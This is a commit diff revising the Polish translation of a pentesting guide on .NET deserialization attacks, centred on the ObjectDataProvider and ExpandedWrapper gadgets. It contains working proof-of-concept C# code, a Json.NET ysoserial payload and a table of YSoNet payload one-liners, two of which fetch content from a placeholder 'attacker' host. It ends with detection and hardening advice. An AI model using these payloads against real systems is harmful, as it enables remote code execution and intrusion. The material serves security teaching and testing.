Translated ['src/pentesting-web/deserialization/basic-.net-deserializati

This commit is contained in:
Translator 2025-07-29 10:13:56 +00:00
parent d8c5df5dee
commit 2d691b82c2

View File

@ -7,7 +7,7 @@ Ten post jest poświęcony **zrozumieniu, jak gadget ObjectDataProvider jest wyk
## Gadget ObjectDataProvider
Z dokumentacji: _klasa ObjectDataProvider opakowuje i tworzy obiekt, który możesz użyć jako źródło powiązania_.\
Tak, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma, co jest tak interesujące: Ta klasa pozwala na **opakowanie dowolnego obiektu**, użycie _**MethodParameters**_ do **ustawienia dowolnych parametrów** i następnie **użycie MethodName do wywołania dowolnej funkcji** dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.\
Tak, to dziwne wyjaśnienie, więc zobaczmy, co ma ta klasa, co jest tak interesujące: Ta klasa pozwala na **opakowanie dowolnego obiektu**, użycie _**MethodParameters**_ do **ustawienia dowolnych parametrów** i następnie **użycie MethodName do wywołania dowolnej funkcji** dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.\
W związku z tym, dowolny **obiekt** będzie **wykonywał** **funkcję** z **parametrami podczas deserializacji.**
### **Jak to jest możliwe**
@ -22,7 +22,7 @@ Jak możesz zauważyć, gdy `MethodName` jest ustawione, wywoływana jest `base.
![](<../../images/image (319).png>)
Ok, kontynuujmy, aby zobaczyć, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i to jest to, co robi:
Ok, kontynuujmy, aby zobaczyć, co robi `this.BeginQuery()`. `BeginQuery` jest nadpisywane przez `ObjectDataProvider` i oto, co to robi:
![](<../../images/image (345).png>)
@ -32,7 +32,7 @@ Zauważ, że na końcu kodu wywoływana jest `this.QueryWorke(null)`. Zobaczmy,
Zauważ, że to nie jest pełny kod funkcji `QueryWorker`, ale pokazuje interesującą część: Kod **wywołuje `this.InvokeMethodOnInstance(out ex);`** to jest linia, w której **ustawiona metoda jest wywoływana**.
Jeśli chcesz sprawdzić, że ustawienie _**MethodName**_** spowoduje jego wykonanie**, możesz uruchomić ten kod:
Jeśli chcesz sprawdzić, że wystarczy ustawić _**MethodName**_, aby **została wykonana**, możesz uruchomić ten kod:
```java
using System.Windows.Data;
using System.Diagnostics;
@ -52,13 +52,13 @@ myODP.MethodName = "Start";
}
}
```
Zauważ, że musisz dodać jako odniesienie _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, aby załadować `System.Windows.Data`
Zauważ, że musisz dodać jako referencję _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_, aby załadować `System.Windows.Data`
## ExpandedWrapper
Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy **nie będziemy mieli wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Korzystając z poprzedniego exploit, będą przypadki, w których **obiekt** będzie **deserializowany jako** instancja _**ObjectDataProvider**_ (na przykład w przypadku podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu `GetType`). Wtedy nie będziemy mieli **wiedzy o typie obiektu, który jest opakowany** w instancji _ObjectDataProvider_ (na przykład `Process`). Możesz znaleźć więcej [informacji o podatności DotNetNuke tutaj](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
Ta klasa pozwala **określić typy obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
Ta klasa pozwala na **określenie typów obiektów obiektów, które są enkapsulowane** w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (_ObjectDataProvider_) w nowy typ obiektu i dostarczenia potrzebnych właściwości (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\
Jest to bardzo przydatne w przypadkach takich jak ten przedstawiony wcześniej, ponieważ będziemy mogli **opakować \_ObjectDataProvider**_** wewnątrz instancji **_**ExpandedWrapper** \_ i **po deserializacji** ta klasa **utworzy** obiekt _**OjectDataProvider**_, który **wykona** **funkcję** wskazaną w _**MethodName**_.
Możesz sprawdzić ten wrapper za pomocą następującego kodu:
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
```
W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator zostanie uruchomiony:
W tym kodzie możesz **przetestować exploit**, po prostu go uruchom, a zobaczysz, że kalkulator jest uruchamiany:
```java
using System;
using System.Text;
@ -184,4 +184,49 @@ TypeNameHandling = TypeNameHandling.Auto
}
}
```
## Zaawansowane łańcuchy gadżetów .NET (YSoNet i ysoserial.net)
Technika ObjectDataProvider + ExpandedWrapper wprowadzona powyżej to tylko jeden z WIELU łańcuchów gadżetów, które można wykorzystać, gdy aplikacja wykonuje **niebezpieczną deserializację .NET**. Nowoczesne narzędzia red-teamowe, takie jak **[YSoNet](https://github.com/irsdl/ysonet)** (oraz starsze [ysoserial.net](https://github.com/pwntester/ysoserial.net)), automatyzują tworzenie **gotowych do użycia złośliwych grafów obiektów** dla dziesiątek gadżetów i formatów serializacji.
Poniżej znajduje się skondensowana referencja najprzydatniejszych łańcuchów dostarczonych z *YSoNet* wraz z krótkim wyjaśnieniem, jak działają oraz przykładowymi poleceniami do generowania ładunków.
| Łańcuch Gadżetów | Kluczowa Idea / Primitiv | Powszechne Serializatory | YSoNet one-liner |
|-------------------|--------------------------|--------------------------|-------------------|
| **TypeConfuseDelegate** | Korumpuje rekord `DelegateSerializationHolder`, tak że po zmaterializowaniu delegat wskazuje na *dowolną* metodę dostarczoną przez atakującego (np. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
| **ActivitySurrogateSelector** | Wykorzystuje `System.Workflow.ComponentModel.ActivitySurrogateSelector`, aby *obejść filtrowanie typów .NET ≥4.8* i bezpośrednio wywołać **konstruktor** podanej klasy lub **skompilować** plik C# w locie | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
| **DataSetOldBehaviour** | Wykorzystuje **dziedziczną reprezentację XML** `System.Data.DataSet`, aby zainicjować dowolne typy, wypełniając pola `<ColumnMapping>` / `<DataType>` (opcjonalnie fałszując assembly za pomocą `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
| **GetterCompilerResults** | W środowiskach z obsługą WPF (> .NET 5) łączy gettery właściwości, aż dotrze do `System.CodeDom.Compiler.CompilerResults`, a następnie *kompiluje* lub *ładowa* DLL dostarczoną z `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
| **ObjectDataProvider** (przegląd) | Używa WPF `System.Windows.Data.ObjectDataProvider`, aby wywołać dowolną statyczną metodę z kontrolowanymi argumentami. YSoNet dodaje wygodną wersję `--xamlurl`, aby hostować złośliwy XAML zdalnie | `BinaryFormatter`, `Json.NET`, `XAML`, *itd.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
| **PSObject (CVE-2017-8565)** | Osadza `ScriptBlock` w `System.Management.Automation.PSObject`, który wykonuje się, gdy PowerShell deserializuje obiekt | Zdalne wywołanie PowerShell, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
> [!TIP]
> Wszystkie ładunki są **domyślnie zapisywane do *stdout***, co ułatwia ich przesyłanie do innych narzędzi (np. generatorów ViewState, kodowników base64, klientów HTTP).
### Budowanie / Instalowanie YSoNet
Jeśli nie ma dostępnych skompilowanych binarek w *Actions ➜ Artifacts* / *Releases*, poniższy **PowerShell** one-liner skonfiguruje środowisko budowy, sklonuje repozytorium i skompiluje wszystko w trybie *Release*:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release
```
Skonstruowany `ysonet.exe` można znaleźć w `ysonet/bin/Release/`.
### Wykrywanie i wzmacnianie
* **Wykryj** nieoczekiwane procesy potomne `w3wp.exe`, `PowerShell.exe` lub jakikolwiek proces deserializujący dane dostarczone przez użytkownika (np. `MessagePack`, `Json.NET`).
* Włącz i **wymuś filtrowanie typów** (`TypeFilterLevel` = *Full*, niestandardowy `SurrogateSelector`, `SerializationBinder`, *itd.*) zawsze, gdy przestarzały `BinaryFormatter` / `NetDataContractSerializer` nie może być usunięty.
* Gdzie to możliwe, migruj do **`System.Text.Json`** lub **`DataContractJsonSerializer`** z konwerterami opartymi na białej liście.
* Zablokuj niebezpieczne zestawy WPF (`PresentationFramework`, `System.Workflow.*`) przed ładowaniem w procesach webowych, które nigdy ich nie potrzebują.
## Odnośniki
- [YSoNet generator ładunków deserializacji .NET](https://github.com/irsdl/ysonet)
- [ysoserial.net oryginalne narzędzie PoC](https://github.com/pwntester/ysoserial.net)
- [Microsoft CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
{{#include ../../banners/hacktricks-training.md}}